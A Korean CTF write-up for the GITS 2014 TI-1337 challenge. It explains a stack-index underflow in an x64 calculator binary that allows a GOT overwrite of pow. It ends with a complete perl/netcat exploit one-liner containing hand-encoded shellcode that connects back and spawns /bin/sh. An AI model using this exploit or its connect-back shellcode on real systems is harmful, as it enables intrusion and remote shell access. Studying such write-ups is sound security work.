본문 바로가기

Games/CTF

GITS 2014 TI-1337

NX 없는 x64 ELF 가 주어짐. 리버싱을 해보면 double 타입의 숫자를 받아서 스택기반 계산기 역할을 수행함. 입력으로 받은것이 double 타입의 숫자이면 스택에 push 하고, 그 외는 opcode 타입에 따라 계산처리. 아래의 부분에서 각각의 opcode 타입별로 분기. 



jump 테이블을 정리해보면 add, mult, 등등으로 분기함.



그런데 피연산자를 계산기 stack 에서 빼는부분에서 stack index 에 대한 최소값 검증이 없음 (취약점).



그런데 아래의 연산으로 pop 만을 계속 반복할수가 있음



이쯤되면 바로 떠오르는것은? 당연히 GOT 덮어쓰기~!!

계산기의 Stack 에서 음의 주소로 조금 올라가보면 GOT 가 있음.


계산기 스택시작주소 : 603140

GOT 영역 : 6030XX

따라서 해야할일은, 계산기 스택상의 double 타입 변수들을 넣는것으로 쉘코드를 구성하고, 계산기 스택포인터를 GOT 쪽으로 옮긴뒤에 GOT 엔트리를 쉘코드의 주소로 덮고 GOT 트리거링하면 끝.

명시적으로 호출하지 않으면 쓰이지않는 pow 를 이용했음.

그리고 쉘코드를 double 숫자들로 구성하는것이 조금 어려웠는데, 전체 리모트쉘코드를 전부 double 숫자의 조합으로 구성하긴 너무 어렵기때문에, 실제 스택상황을 활용해서... exploit 마지막쯤에 실제 스택에 native 리모트 쉘코드가 남아있도록 구성해놓고(정상적으로 참조될일은 없지만) double 숫자들로 만든 쉘코드는 pop x 6; call *rsp 만 수행하도록 함.  double 실수타입이 하위 1바이트쪽을 정확히 맞추기가 어렵기때문에(불가능한 경우도 있음) 점핑쉘코드를 만들어야함. 이부분이 조금 짜증나지만 %lg 에 대해서 sscanf, printf 로 테스트하면서 조금씩 맞추면 얼추 맞출수 있음.


Final Exploit : REMOTE(143.248.249.64 - 31337)

(perl -e 'print"4.9065462e-316\n"x6,"6.89662e-317\n","b\n"x35,"3.114634e-317\n","\x5eAAA\x48\x31\xC0\xB0\x01\x48\x89\xC6\x48\xFF\xC0\x48\x89\xC7\x48\x31\xD2\xB2\x06\xB0\x29\x0F\x05\x48\x89\xC7\x48\xB9\xFD\xFF\x7A\x69\x8F\xF8\xF9\x40\x66\x83\xF1\xFF\x51\x48\x89\xE6\x48\x31\xD2\xB2\x10\xB0\x2A\x0F\x05\x48\x31\xC0\x48\x31\xF6\xB0\x21\x0F\x05\x48\xFF\xC6\xB0\x21\x0F\x05\x48\x31\xC0\x48\x31\xD2\x50\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x48\x89\xE7\x50\x57\x48\x89\xE6\xB0\x3B\x0F\x05\n"';cat) | nc 0 31415



'Games > CTF' 카테고리의 다른 글

MMA CTF 2015 RPS  (0) 2015.09.08
JFF3 BlindFSB  (0) 2015.07.31
SECCON 2014 Advanced RISC Machine  (0) 2014.12.08
hack.lu callgate writeup  (0) 2014.10.28
DEFCON 2014 sftp writeup  (0) 2014.05.23